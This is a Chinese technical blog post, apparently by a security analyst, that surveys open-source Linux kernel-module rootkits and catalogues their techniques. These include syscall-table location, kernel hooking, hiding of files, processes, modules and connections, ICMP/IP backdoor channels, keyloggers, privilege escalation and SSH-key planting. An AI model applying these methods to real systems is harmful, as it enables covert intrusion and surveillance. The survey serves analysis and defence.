<p><strong>项目地址</strong>: <a href="https://github.com/jiayy/lkm-rootkit">https://github.com/jiayy/lkm-rootkit</a></p>
<p><strong>模块自身隐藏</strong>：参考 SK-5.1 和 SK-5.2；</p>
<p><strong>本地交互</strong>： 参考 SK-1.3；</p>
<p><strong>远程后门交互</strong>：参考 SK-1.2；</p>
<p><strong>SHELL后门</strong>： 交互参考 SK-1.2； 功能实现参考 SK-10.1；并发执行参考 SK-10.5；</p>
<p><strong>键盘记录</strong>：参考 SK-8.1；在这个位置还用到了 wake_up_interruptible 中断相关的接口，感兴趣的小伙伴们可以在这里深挖一下，它也是一个在 Linux 内核中比较重要的 API。这里就不展开了；</p>
<p><strong>文件/目录隐藏</strong>：参考 SK-4.1; 下钩参考 SK-3.1</p>
<p><strong>进程隐藏</strong>：参考 SK-7.4；下钩参考 SK-3.1</p>
<p><strong>网络会话隐藏</strong>： 参考 SK-6.1; HOOK参考 SK-3.1；</p>
<h2 id="wukong">wukong</h2>
<p><strong>项目地址</strong>: <a href="https://github.com/hanj4096/wukong">https://github.com/hanj4096/wukong</a></p>
<p><strong>模块自身隐藏</strong>: 参考 SK-5.1 和 SK-5.2;</p>
<p><strong>本地交互</strong>： 参考 SK-1.3；</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.5; HOOK 参考 SK-3.1；</p>
<p><strong>进程隐藏</strong>： 参考 SK-7.3； HOOK 参考 SK-3.1；</p>
<p><strong>网络会话隐藏</strong>： 参考 SK-6.1；</p>
<h2 id="kernel_rootkit">Kernel_Rootkit</h2>
<p><strong>项目地址</strong>： <a href="https://github.com/varshapaidi/Kernel_Rootkit">https://github.com/varshapaidi/Kernel_Rootkit</a></p>
<p><strong>模块自身隐藏</strong>： 参考 SK-5.5；</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.6；</p>
<p><strong>进程隐藏</strong>： 参考 SK-7.6；</p>
<p><strong>网络会话隐藏</strong>： 参考 SK-6.2；</p>
<p>PS： 这个项目似乎是个半成品，其中有大量无用代码，看逻辑似乎是想通过劫持内存分配或内存映射的逻辑实现一些未知功能。</p>
<h2 id="brootus">brootus</h2>
<p><strong>项目地址</strong>： <a href="https://github.com/dsmatter/brootus">https://github.com/dsmatter/brootus</a></p>
<p><strong>模块自身隐藏</strong>：参考 SK-5.1 和 SK-5.2；</p>
<p><strong>文件/目录隐藏</strong>：参考 SK-4.4； HOOK 参考 SK-3.3；</p>
<p><strong>进程隐藏</strong>： 参考 SK-7.4;</p>
<p><strong>网络会话隐藏</strong>： 参考 SK-6.1；</p>
<p>PS： 这个项目似乎是个半成品，其中有一部分函数有调用过程，却没有实现。</p>
<h2 id="sutekh">Sutekh</h2>
<p><strong>项目地址</strong>: <a href="https://github.com/PinkP4nther/Sutekh">https://github.com/PinkP4nther/Sutekh</a></p>
<p><strong>权限提升</strong>： 参考 SK-9.1</p>
<h2 id="lilyofthevalley">LilyOfTheValley</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/En14c/LilyOfTheValley">https://github.com/En14c/LilyOfTheValley</a></p>
<p><strong>模块自身隐藏</strong>：参考 SK-5.1 和 SK-5.2；</p>
<p><strong>文件/目录隐藏</strong>：参考 SK-4.1； HOOK 参考 SK-3.1；</p>
<p><strong>进程隐藏</strong>：参考 SK-7.4； HOOK 参考 SK-3.1；</p>
<p><strong>权限提升</strong>：参考 SK-9.1；</p>
<h2 id="researchrootkit">research-rootkit</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/NoviceLive/research-rootkit">https://github.com/NoviceLive/research-rootkit</a></p>
<p>PS: 该项目是个学习性质的项目，并非一个完整的 <code>rootkit</code> 所以这里不展开了。</p>
<h2 id="outofsightoutofmindrootkit">Out-of-Sight-Out-of-Mind-Rootkit</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/NinnOgTonic/Out-of-Sight-Out-of-Mind-Rootkit">https://github.com/NinnOgTonic/Out-of-Sight-Out-of-Mind-Rootkit</a></p>
<p><strong>模块自身隐藏</strong>： 参考 SK-5.1 和 SK-5.2；</p>
<p><strong>网络交互</strong>：参考 SK-1.4； HOOK 参考 SK-3.2；</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.4； HOOK 参考 SK-3.1；</p>
<p>PS：项目目前是半成品学习性质项目，有PDF介绍，但功能并未完全实现。目前这里只整理一部分已经完整实现的功能。</p>
<h1 id="lkmrootkit">LKM-Rootkit 知识点汇总</h1>
<p>本节将以知识点汇总的形式介绍各种常见功能的技能点，并为每一个知识点，给出一个编号（SK-X.X），进而标定出相关项目用到了哪种知识点。</p>
<h2 id="">配置交互</h2>
<p>由于 LKM 工作在内核层，编译安装后，很难更改配置。所以一般都需要维护一个通讯接口，供用户侧随时更新配置信息。整理后发现，常见的通讯接口大致可以归类为下几种情况：</p>
<p><strong>SK-1.1</strong> 通过 Netlink 交互（本地）</p>
<p>Netlink 是标准 socket 提供的一种双向通讯协议，可用于本地配置内核模块，<br>
通过<code>socket(PF_NETLINK, SOCK_RAW, NETLINK_USER)</code> 可完成用户侧的初始化。其中NETLINK_USER为双方约定好的私有编号。</p>
<p>内核层的初始化代码截图如下所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/netlink_kernel_create.png" alt="netlink_kernel_create" loading="lazy"></p>
<p>netlink_kernel_create 这个接口，在不同的内核版本声明不同，当需要做内核适配时，要注意这个接口的声明情况。</p>
<p><strong>SK-1.2</strong> 通过筛选 ICMP报文 交互（网络）</p>
<p>这是一种可以从网络环境同内核模块交互的方法。下图是一个 ICMP 对接shell后门的实现片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/icmp_sendmsg.png" alt="icmp_sendmsg" loading="lazy"></p>
<p><strong>SK-1.3</strong> 通过 ioctl 进行交互（本地）</p>
<p>ioctl 是一种针对 I/O 设备定义的交互方式，在 LKM-Rootkit 中也经常遇到，通过约定一个自定义的协议号，可以实现本地的 Rootkit 交互。下图是一段内核中过滤特定协议号的处理逻辑，供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/ioctl_config.png" alt="ioctl_config" loading="lazy"></p>
<p><strong>SK-1.4</strong> 通过筛选 IP报文 实现交互（网络）A</p>
<p>这是一种通过筛选 IP 报文，实现内核交互的方法，在 Linux 中，对 IPv4报文 的处理，和一个名为 ip_rcv 的函数有关，通过更改这个函数的处理逻辑，可以完成定制的交互逻辑，下图是被用于替换原函数执行逻辑的代码片段，供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/khook_ip_rcv.png" alt="khook_ip_rcv" loading="lazy"></p>
<p>可以看出，代码覆盖了 TCP/UDP/ICMP 三种协议的处理机制，实现同内核的交互。</p>
<p><strong>SK-1.5</strong> 文件读写（本地）</p>
<p>在内核中，通过对指定文件读写函数的劫持，可以实现用户和内核间的交互，下图是一个为 <code>/proc</code> 目录文件的读写处理函数打 HOOK 的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/local_file_rw_hook.png" alt="local_file_rw_hook" loading="lazy"></p>
<p><strong>SK-1.6</strong> 劫持 kill signal（本地）</p>
<p>有一些内核模块功能很简单，只有单向配置的需求，此时会考虑使用劫持 signal 信号的方案，在 <code>int kill(pid_t pid, int sig);</code> 函数中，第二个参数就是 signal，它使用起来足够简单，只要对 <code>sys_kill</code> 的处理逻辑增加一个 HOOK 点，就可以筛选出特殊的 signal 标记，很容易实现，所以在一些 Rootkit 中会选择这样的方式向内核发送同步指令：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/hack_kill_sig.png" alt="hack_kill_sig" loading="lazy"></p>
<p><strong>SK-1.7</strong> 劫持 lookup（本地）</p>
<p>在 <code>inode_operations</code> 中，有一个 lookup 函数指针，用于查阅相关目录文件。在部分 rootkit 中，会通过改写这个指针中函数的处理逻辑，获知用户正在查阅的文件名，通过对文件名编码，就可以得到用户想要实现的指令了，下图是一个利用该方法解析指令内容的方法：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/fake_lookup.png" alt="fake_lookup" loading="lazy"></p>
<p><strong>SK-1.8</strong> 中断处理过程劫持（本地）</p>
<p>通过重写内核中的中断处理逻辑，对于正常程序的调用找到原有逻辑执行，筛选出特殊的调用请求。如此可以完成用户和内核模块之间的交互，下图是一个生成新中断处理的逻辑：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/new_idt.png" alt="new_idt" loading="lazy"></p>
<p><strong>SK-1.9</strong> 筛选 IP报文 实现交互（网络） B</p>
<p>内核在处理收到的网络报文时，会依次交给不同的解析器进行试图解析。解析器可以通过 <code>dev_add_pack</code> 进行添加，这样就可以筛选出符合需求的特殊报文，从而得到操作指令，下图是一段调用 <code>dev_add_pack</code> 的截图：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/dev_add_pack_eth.png" alt="dev_add_pack_eth" loading="lazy"></p>
<p><strong>SK-1.10</strong> 利用 sys_uname（本地）</p>
<p><code>uname(struct utsname *buf)</code> 函数是一个获取机器名的 API，传入参数是一段空内存，执行返回后，这段内存则被填充上当前机器的相关信息。如果在内核中将处理逻辑改写，就可以利用传入的这个空内存向内核模块传递数据了，同时又不会影响该 API 原有的功能。下图是一个被改写后的 <code>uname</code> 处理逻辑：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/uname_transmit.png" alt="uname_transmit" loading="lazy"></p>
<h2 id="syscall_table">syscall_table的获取</h2>
<p>在 Linux内核 中，syscall_table(系统调用表) 是一个用来将"系统中断号"映射到"对应功能函数（地址）"的表格。通过修改这个表格中的内容，就可以完成对某些特定功能函数的HOOK操作，进而修改替换函数的原有执行逻辑，最终完成"关键信息的隐藏"。</p>
<p>所以，获取 syscall_table 内存地址是一个非常重要的技能点，它直接决定着 Rootkit 的效果。通过阅读开源代码，大致总结出以下几种获取方式。</p>
<p><strong>SK-2.1</strong> 暴力搜索</p>
<p>在 sys_close 是Linux 内核提供的一个函数，它是 syscall_table 中第 "__NR_close" 个元素的值，其中 __NR_close 的值通过内核宏定义，不同的编译环境中，这个值有区别。下图是一个使用该方法的代码截图：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/find_syscall_table_violence.png" alt="find_syscall_table_violence" loading="lazy"></p>
<p><strong>SK-2.2</strong> 通过 IDT 搜索</p>
<p>Linux 内核中，syscall_table 是挂在中断描述符表结构下的，所以只要找到中断描述符表，即可确定 syscall_table 的大致范围，同时 syscall_table 中保存的数据又都是系统地址指针，所以此种方法，可相对准确的定位到 syscall_table 结构的位置，下图是具体的代码截图，供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/find_syscall_tbl_from_idtr.png" alt="find_syscall_tbl_from_idtr" loading="lazy"></p>
<p><strong>SK-2.3</strong> 通过 MSR_LSTAR 定位</p>
<p>在Linux 内核中(arch/x86/include/asm/msr-index.h)，定义了一个 MSR_LSTAR 宏，这是一个和系统调用表执行有关的寄存器，它保存着一个内存地址，实际的 syscall_table 地址将出现在这个地址的后面，确定了大致范围后，即可参考 SK-2.2 的方式，搜索到 syscall_table 地址了，下图是此种方案的代码片段截图：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/syscall_MSR_LSTAR.png" alt="syscall_MSR_LSTAR" loading="lazy"></p>
<p><strong>SK-2.4</strong> 通过 kallsyms 获取</p>
<p>在 SK-10.3 中提到了 利用 <code>kallsyms_on_each_symbol</code> 获取内核符号的知识点，其实这个接口也可以被用于获取 <code>syscall_table</code>，在内核中，其符号名为 <code>sys_call_table</code>，一段代码样例如下所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/kallsym_find_syscall.png" alt="kallsym_find_syscall" loading="lazy"></p>
<h2 id="hook">内核钩子（HOOK）</h2>
<p>想在 Linux 内核中隐藏信息，首先要有办法把自己的代码插入关键位置并执行。这就需要在内核中的特定位置下钩子。本小节整理的就是下钩子的几种技巧。</p>
<p><strong>SK-3.1</strong> Hijack钩子</p>
<p>这是一种直接修改内核代码的钩子，它会将一组控制执行顺序的代码直接插入给定的内存地址，进而让自己的代码得到执行。下图是项目中实际的代码截图：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/hijack_hook_push_ret-1.png" alt="hijack_hook_push_ret-1" loading="lazy"></p>
<p>其中第10行是 <code>push xxx; ret</code> 代码的 hex 数据模版，第11行则是将自己的函数地址填充到模版中，进而达到一个 <code>push new; ret</code>的效果。与之类似的还可能会遇到 <code>mov eax，xxx ; jmp eax </code> 类型的 hex 模版。</p>
<p><strong>SK-3.2</strong> nf_hook 钩子</p>
<p>nf 是 netfilter 的缩写，可以从内核层截流网络报文，完成网络交互。下图是利用 nf_hook 实现icmp协议后门的截图：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/nf_hook_backdoor.png" alt="nf_hook_backdoor" loading="lazy"></p>
<p><strong>SK-3.3</strong> syscall劫持</p>
<p>在 Linux 系统中，syscall_table 中包含了很多系统相关的重要函数指针，针对性的修改这里的指针内容，可以实现插入自定义函数逻辑的效果，下图是一个劫持 <code>getdents64</code> 的代码片段，它先保存了原始的函数（<code>getdents64</code>）地址，然后又在 syscall_table 里放了一个自己实现的 <code>fake_getdents64</code> 函数地址：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/patch_syscall_table.png" alt="patch_syscall_table" loading="lazy"></p>
<p><strong>SK-3.4</strong> KHOOK 框架</p>
<p>在 Reptile 项目中，用了一个名为 KHOOK 的钩子框架，它是对 SK-3.1 方案的扩展，其在易用性和稳定性中下了一些功夫。在符号查找中，参考了 SK-10.3 的方案。所以这里把它单独提出来作为一个 HOOK 知识点，该项目具体的编码，比较复杂，这里就不展开说了，感兴趣的小伙伴们可以去参考：<br>
<a href="https://github.com/milabs/khook">https://github.com/milabs/khook</a> 项目，项目中有严谨的描述文档和全部代码，各位可以自行查阅。</p>
<p><strong>SK-3.5</strong> 调试模式</p>
<p>IA-32 从 386 开始，引入了调试寄存器和硬件断点，这意味着在 ring0 层，内核代码的任意位置都可以被设置硬件断点，从而实现对内核代码调试的能力。这种调试能力也为 rootkit 开发提供了一种新的控制流劫持的思路，在 <a href="https://github.com/falk3n/subversive">https://github.com/falk3n/subversive</a> 这一款 rootkit 中，就是通过此种方式实现 HOOK 的，它先对 syscall_table 的内存地址下了硬件断点，随后当其他代码访问到 syscall_table 结构时，调试代码都会被执行。下图是一段设置内存断点的代码截图，红框圈定的是它在每个CPU上依次下断的调用逻辑：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/cpu_hardware_debug-1.png" alt="cpu_hardware_debug-1" loading="lazy"></p>
<h2 id="">文件/目录隐藏</h2>
<p><strong>SK-4.1</strong> 目录文件迭代器</p>
<p>VFS中存在一个名为 <code>file_operations</code> 的接口抽象，其中存在一个目录文件迭代器。如果对这个迭代器的执行逻辑做一下修改，即可完成对指定文件的隐藏，在Rootkit中一般通过修改根目录迭代器的方式隐藏文件/目录。下图是一个获取迭代器函数的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/vfs_get_iterate.png" alt="vfs_get_iterate" loading="lazy"></p>
<p><strong>SK-4.2</strong> 目录隐藏（Reptile）</p>
<p>在 Reptile 中，目录隐藏功能的实现比较特殊，它通过对一组函数打 HOOK 的方式，从而实现一个隐藏目录无法给他人查阅的能力，这些函数有：<br>
<code>fillonedir</code>/<code>filldir</code>/<code>filldir64</code>/<code>compat_fillonedir</code>/<code>compat_filldir</code>/<code>compat_filldir64</code>/<code>__d_lookup</code></p>
<p><strong>SK-4.3</strong> 文件隐藏（Reptile）</p>
<p>在 Reptile 中，文件隐藏是一个临时实现，它是通过对 vfs_read 打 HOOK 实现的。在注释中作者提到: <code>这不是最佳实现，但它有效，在将来可能会改变</code>。下图是这段函数头的截图：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/reptile_hide_file.png" alt="reptile_hide_file" loading="lazy"></p>
<p><strong>SK-4.4</strong> 下钩 getdents 函数</p>
<p>在 Linux 中 <code>getdents</code> 和 <code>getdents64</code> 是显示目录/文件相关的函数，通过改动这两个函数的执行逻辑，可以实现是否显示一个指定文件的效果。下图是一段用于隐藏文件的代码片段截图，可以看到当 file_hiding 开关打开时，会触发一个特殊的逻辑，以便于不显示受保护的文件：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/fake_getdents.png" alt="fake_getdents" loading="lazy"></p>
<p><strong>SK-4.5</strong> 劫持 readdir</p>
<p>在 SK-4.1 中提到的 <code>file_operations</code> 接口抽象中，还有一个 readdir 的函数指针，通过修改这个指针，也能达到文件隐藏的效果，下图是一个 Rootkit 中更改这个指针的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/fake_fs_readdir.png" alt="fake_fs_readdir" loading="lazy"></p>
<p><strong>SK-4.6</strong> 替换 file_operations</p>
<p>在 SK-4.1 和 SK-4.5 中看到的是，替换 <code>file_operations</code> 成员成员指针的情况，而如果直接替换这个成员本身，自然也能实现相同的效果，这里就不贴图了。</p>
<h2 id="">模块自身的隐藏</h2>
<p><strong>SK-5.1</strong>: 从模块链表删除自身</p>
<p>在Linux内核中，每一个 <code>struct module</code> 通过一个链表结构(struct list_head)，链接在一起。所有和模块遍历有关的操作，都需要依赖这个链表，如果从这个链表中将自身摘出，则模块自身便无法通过遍历的方式被找到了，下图是一个摘除自身的代码片段，以供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/hide_module_from_lsmod.png" alt="hide_module_from_lsmod" loading="lazy"></p>
<p><strong>SK-5.2</strong>：从文件系统移除模块自身</p>
<p>当模块成功安装后，用户可以从 <code>/sys/modules</code> 看到新模块的一些基本信息。通过对 <code>kobject_del</code> 方法可以移除对应的模块目录，所以在一些 LKM 中也会使用这种方式隐藏自身，下图是一个参考代码：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/kobject_module_del.png" alt="kobject_module_del" loading="lazy"></p>
<p><strong>SK-5.3</strong>: 从内核文件树移除模块</p>
<p>在 Linux内核中，有一个内核文件系统，它是通过红黑树的结构组织起来的。这个文件系统运行后将会对应 <code>/proc</code>，<code>/sys</code> 等虚拟文件目录。如果将当前模块对应的结构从这棵树中摘除，也可以达到隐藏 <code>/sys/modules</code> 目录内容的效果。这个方法同 SK-5.2 的区别在于，前者是将内核结构整体从内核删除，而本节是仅删除挂载关系，内核结构还在内存中，下图中红框，就是具体实现的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/module_erase_rbtree.png" alt="module_erase_rbtree" loading="lazy"></p>
<p><strong>SK-5.4</strong> ：内核模块链表脱钩</p>
<p>除 <code>struct module</code> 结构以外，内核中还有一个 <code>module_kobject.kobj</code> 也是和模块一一对应的，且这个结构也是个通过链表连载一起的结构体。有些 Rootkit 会选择在这里脱钩，实现内核模块的隐藏：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/list_del_kkobj_kobj.png" alt="list_del_kkobj_kobj" loading="lazy"></p>
<p><strong>SK-5.5</strong> 替换 file_operations</p>
<p>同 SK-4.6 一样，只是替换目标换成了 <code>/sys/modules</code> 目录对应的 file_operations 结构。</p>
<h2 id="">网络会话的隐藏</h2>
<p><strong>SK-6.1</strong> 通过 seq_operations 隐藏网络会话</p>
<p>在 Linux 内核中，网络会话也是一种文件，通过 file 结构可以找到一个名为 <code>seq_operations.show</code> 的函数指针，该函数指针用于生成网络会话相关的信息供展示，通过修改对应的函数，可以实现网络会话对用户显示的隐藏。</p>
<p>下图是获取 <code>tcp4_seq_show</code> 相关函数地址的代码片段，供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/call_get_seq_show.png" alt="call_get_seq_show" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2021/01/process_get_seq_show.png" alt="process_get_seq_show" loading="lazy"></p>
<p>如此操作后，就可以通过过滤地址或端口，对特定的网络会话进行屏蔽了。</p>
<p>除 <code>tcp4_seq_show</code> 外，还可能出现 <code>udp4_seq_show</code>/<code>tcp6_seq_show</code>/<code>udp6_seq_show</code> 等几种情况。</p>
<p><strong>SK-6.2</strong> 替换 seq_operations</p>
<p>在 SK-6.1 中，是通过 seq_operations 的成员实现会话流控制，如果直接替换 一个新伪造的 seq_operations 到对应位置，也能实现相同的效果，这里就不截图了。</p>
<h2 id="">进程隐藏</h2>
<p><strong>SK-7.1</strong> 进程隐藏（Reptile）</p>
<p>在 Reptile 中隐藏进程这个功能的实现，有些特殊，它是通过"给一组函数打hook"的方式，最终完成进程隐藏的，在这个过程中，被打 HOOK的函数 有： <code>audit_alloc</code>/<code>copy_creds</code>/<code>exit_creds</code>/<code>find_task_by_vpid</code>/<code>vfs_statx</code>/<code>sys_kill</code>/<code>__x64_sys_kill</code>/<code>tgid_iter</code>/<code>load_elf_binary</code> 。</p>
<p>当一个进程(task)被设置为隐藏后，Reptile 会为其 task_struct.flags 设置一个标记 0x80000000，有趣的是，这个标记在 Linux内核 中代表着 PF_SUSPEND_TASK，是一个进程无法冻结的标记，这会让那些正常设置这个标记的进程也出现隐身效果。</p>
<p><strong>SK-7.2</strong> 进程隐藏（tasks链表摘除)</p>
<p>在 Linux 中，process/thread 会对应到一个名为 struct task_struct 的结构体，在这个结构体中有一个 tasks 链表成员，它作为一个侵入式的双向链表会将当前 task 同其他 task 链接到一起。有些 Rootkit 会将被保护的 task 从这个链表中摘除，进而无法遍历访问。脱钩方法也很简单，只需要在模块中增加一行代码 <code>list_del_init(&current->tasks);</code> 即可。在一部分 rootkit 中，会考虑自行编码脱钩的逻辑代码，下图就是一个展开实现的样例，它们背后的实现思路都是相同的的：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/tasks_list_del.png" alt="tasks_list_del" loading="lazy"></p>
<p><strong>SK-7.3</strong> 隐藏 "/proc" 目录信息 A</p>
<p>在 SK-4.1 中，提到了文件目录迭代器的使用。其实 <code>/proc</code> 目录中的内容，也可以通过目录文件迭代器实现目录内容的隐藏，下图是一个获取 <code>/proc迭代器</code> 的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/get_proc_iterate.png" alt="get_proc_iterate" loading="lazy"></p>
<p><strong>SK-7.4</strong> 隐藏 "/proc" 目录信息 B</p>
<p>在 SK-4.5 中 提到了通过更改 filldir/readdir 指针隐藏文件的方法，该方法也适用于 <code>/proc</code> 目录下的文件。这里就不贴代码图了。</p>
<p><strong>SK-7.5</strong> 通过 syscall hook 隐藏</p>
<p>在 syscall 调用中，有一系列和进程操作相关的函数，如果让这些函数统统对需要隐藏的进程 pid 执行失败，如此 ring3 层便无法查阅到进程的有关信息了，这些函数的列表如下：</p>
<pre><code>getpgid
getsid
setpgid
kill
tgkill
tkill
sched_setscheduler
sched_setparam
sched_getscheduler
sched_getparam
sched_setaffinity
sched_getaffinity
sched_rr_get_interval
wait4
waitid
rt_tgsigqueueinfo
rt_sigqueueinfo
prlimit64
ptrace
migrate_pages
move_pages
get_robust_list
perf_event_open
</code></pre>
<p><strong>SK-7.6</strong> 替换 file_operations</p>
<p>同 SK-4.6 类似，只是替换目标为 <code>/proc</code> 目录对应的 <code>file_operations</code> 结构.</p>
<h2 id="">键盘记录</h2>
<p><strong>SK-8.1</strong> 键盘记录器</p>
<p>内核提供了<code>register_keyboard_notifier</code> 和 <code>unregister_keyboard_notifier</code> 两个方法，用于增加或卸载键盘监视器，下图是使用该机制实现键盘记录功能的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/keylogger.png" alt="keylogger" loading="lazy"></p>
<p><strong>SK-8.2</strong> 键盘记录（<code>/dev/ttyS0</code>读写劫持）</p>
<p>在 Linux 中， <code>/dev/ttyS0</code> 是一个字符设备（虚拟），可以简单的将之理解为是标准输入，通过重写它的 read 函数，可以捕获用户从键盘输入的内容，下图是一个劫持的代码样例：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/network_keylogger.png" alt="network_keylogger" loading="lazy"></p>
<p><strong>SK-8.3</strong> <code>/dev/input/event</code> 监听</p>
<p>这是一个和输入有关的设备文件，通过监听该文件的变化情况，可以得到用户正在输入的内容。</p>
<p>下图是选自 <a href="https://github.com/bones-codes/the_colonel/blob/devx/lkm/col_kl.c">https://github.com/bones-codes/the_colonel/blob/devx/lkm/col_kl.c</a> 的代码片段，该代码没有合并到 master 分支，似乎是个未完成的版本，仅供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/listen_keyboard_device.png" alt="listen_keyboard_device" loading="lazy"></p>
<h2 id="">权限提升</h2>
<p><strong>SK-9.1</strong> 本地权限获取</p>
<p>对于 Rootkit 来说，有时需要为普通进程赋予管理员权限。这就涉及到一个名为 cred 的结构体，另一方面，当前进程的 cred 可以通过 <code>prepare_creds</code> 可以获取。下图就是一段通过该方式提权的代码段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/cred_root_me.png" alt="cred_root_me" loading="lazy"></p>
<h2 id="">其他技术点</h2>
<p><strong>SK-10.1</strong> 执行系统命令</p>
<p>内核提供了 <code>call_usermodehelper</code> 函数，用于在用户态运行一个可执行文件。下图是使用该函数，实现shell后门的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/run_shell_command.png" alt="run_shell_command" loading="lazy"></p>
<p><strong>SK-10.2</strong> 从内核启动一个线程</p>
<p>内核提供了 <code>kernel_create</code> 函数，用于从内核态启动一个用户态线程。配置好 <code>subprocess_info</code> 实例后，即可完成启动。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/create_thread_from_kernel.png" alt="create_thread_from_kernel" loading="lazy"></p>
<p><strong>SK-10.3</strong>： 内核符号地址获取 A</p>
<p>Linux 内核提供了一个名为 <code>kallsyms_on_each_symbol</code> 的 API，用来获取各种符号在内存中的地址。但该 API 需要 Linux内核 在编译时打开 <code>CONFIG_KALLSYMS</code> 宏，好在一些常见的Linux发行版中，默认都支持了这个宏，所以通配性还过得去。下图是基于该API抽象后的获取指定符号地址的代码片段：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/kallsyms_find_sym.png" alt="kallsyms_find_sym" loading="lazy"></p>
<p><strong>SK-10.4</strong>：内核符号地址获取 B</p>
<p>在 SK-10.3 中提到了通过 <code>kallsyms_on_each_symbol</code> 获取符号地址的方法，其实，与这个API相对的还有另一个名为 <code>kallsyms_lookup_name</code> 的孪生API也可以获取一部分符号地址，这里就不贴截图了，感兴趣的小伙伴们自行找源码探索一下。</p>
<p><strong>SK-10.5</strong>： 通过工作队列执行任务分发</p>
<p>在 Linux内核中，有一个工作队列(workqueue)的机制，可以将特定工作（以函数为单位）分发到不同的CPU中去执行，产生一个内核并发执行任务的效果。编码者将“任务提交”和“任务执行”分开实现，分别对应到 <code>投递 workqueue</code> 和 <code>消费 workqueue</code> ，Linux内核就会可以辅助完成任务的分发和执行，是一个极为方便使用的 API。</p>
<p>在使用上，它需要先通过 <code>create_workqueue</code> 初始化一个新队列，当有新工作需要执行时，再通过 <code>queue_work</code> 方法向队列提交这个 work。下图是使用该方法的一段代码截图，供参考：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/how_to_use_workqueue.png" alt="how_to_use_workqueue" loading="lazy"></p>
<h1 id="">参考资料</h1>
<p><a href="https://wiki.osdev.org/Inline_Assembly/Examples#RDMSR">https://wiki.osdev.org/Inline_Assembly/Examples#RDMSR</a></p>
<!--kg-card-end: markdown--> | 引
LKM 是 Linux Kernel Module 的缩写，所以这里 LKM-Rootkit 的含义，是"基于Linux内核模块实现的 Rootkit"。由于前段时间分析了skidmap的细节，所以想到针对性的梳理一下这方面的内容。在集中精力读了一些开源代码后，整理一些手册性质的文字记录下来，供他人日后查阅。
开源项目参考
本节项目主要来源为 awesome-linux-rootkits 中提到的 LKM 相关的项目。
Rootkit 作为一个隐藏工具，其主要设计目标是为了隐藏攻击痕迹，本节将对开源LKM进行一个汇总梳理。每个项目中，可能包含多个实现细节，通过编号（SK-X.X）对应到知识点汇总章节中。
rooty
项目地址: https://github.com/jermeyyy/rooty
模块自身隐藏： SK-5.1 加 SK-5.2 实现内核模块的隐藏；
本地交互： 利用 SK-1.3 向内核模块发送控制指令；利用 SK-3.1 筛选 ioctl 命令；
远程后门交互： 参考 SK-1.2;
获取root权限：参考 SK-9.1 ；
SHELL后门： 功能实现参考 SK-10.2 启动了一个 sshd 任务处理shell 交互；
VNC后门：参考 SK-10.2 启动了一个 vnc 服务。
文件/目录隐藏：参考 SK-3.1 和 SK-4.1 更改根目录("/")的迭代器;
进程隐藏： 参考 SK-3.1 和 SK-7.3;
网络会话隐藏：参考 SK-6.1； HOOK 参考 SK-3.1；
键盘记录：利用 SK-8.1 实现键盘记录，并将结果记录到一个指定文件。
Reptile
项目地址: https://github.com/f0rb1dd3n/Reptile
本地交互: 利用 SK-1.3 向内核发送控制指令；利用 SK-3.1 筛选 ioctl 命令；
远程后门交互： 参考 SK-1.4；
模块自身隐藏： 参考 SK-5.1；
获取root权限：参考 SK-9.1；
网络会话隐藏：参考 SK-6.1；HOOK参考 SK-3.4；
进程隐藏：参考 SK-7.1；HOOK参考 SK-3.4；
目录隐藏：参考 SK-4.2；HOOK参考 SK-3.4；
文件隐藏：参考 SK-4.3；HOOK参考 SK-3.4；
rkduck
项目地址：https://github.com/QuokkaLight/rkduck
本地交互：rkduck提供了一个控制程序，user-kernel的通讯方式参考 SK-1.1;
SHELL后门：交互协议参考 SK-1.2； 功能实现参考 SK-10.1;
文件/目录隐藏： 利用 SK-3.1 和 SK-4.1 更改根目录("/")迭代器;
进程隐藏： 参考 SK-3.1 和 SK-7.3;
SSH后门：参考 SK-10.1 植入公钥到 /root/.ssh/authorized_keys 文件;
键盘记录： 利用 SK-8.1实现键盘记录，并利用 SK-10.1 执行 scp 命令 将记录结果回传攻击者;
lkm-rootkit
项目地址： https://github.com/croemheld/lkm-rootkit
模块自身隐藏： 参考 SK-5.1 和 SK-5.3;
远程后门交互： 参考 SK-10.2 启动一个UDP监听服务线程，接受从网络发来的控制指令；
